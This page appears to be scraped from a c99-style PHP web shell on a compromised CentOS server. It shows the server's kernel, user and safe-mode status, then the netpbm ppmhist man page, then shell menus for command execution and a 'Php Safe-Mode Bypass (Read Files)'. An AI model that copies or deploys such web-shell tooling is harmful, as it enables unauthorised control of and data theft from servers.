Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/doc/netpbm-10.35.58/userguide/ drwxr-xr-x |
Viewing file: ppmhist.html (4.72 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | ppmhistUpdated: 24 June 2005Table Of Contents NAMEppmhist - print a histogram of the colors in a PPM imageSYNOPSISppmhist [-hexcolor | -float | -colorname | -map] [-nomap] [-noheader] [-sort={frequency,rgb}] [ppmfile]DESCRIPTIONThis program is part of Netpbm. ppmhistreads a PPM image as input and generates a histogram of the colors in the image, i.e. a list of all the colors and how many pixels of each color are in the image. Output FormatThe output is in one of two basic formats: a report for humans and a PPM image for use by programs. The PPM image is actually quite readable by humans too. Human ReportYou get this format by specifying (or defaulting to) the -nomap option. The format is one line for each color in the input image. By default, there are two lines of column header at the top. Use the -noheader option to suppress those lines. In each line, ppmhist identifies the color by red, green, and blue components. By default, it lists each of these in decimal, using the exact values that are in the PPM input. So if the image has a maxval of 255, the numbers in the listing range from 0 to 255. With the -hexcolor option, you can change these numbers to hexadecimal. With the -float option, the numbers are fractional, adjusted to a maxval of 1. Each line lists the luminosity of the color. It is in decimal on the same scale as the rgb values (see above). Each line lists the number of pixels in the image that have the color. This is in decimal. PPM OutputYou get this format with the -map option. The output file is a genuine PPM image, but it is PPM Plain format and contains comments so that it is not a lot different from the human report described above. As a PPM image, it can be useful as input to other programs that need some kind of palette. The image is a single row with one column for each distinct color in the image. OPTIONS
SEE ALSOppm, pgmhist, pnmcolormmap, pnmhistmap, ppmchangeAUTHORCopyright (C) 1989 by Jef Poskanzer.Table Of Contents |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0162 ]-- |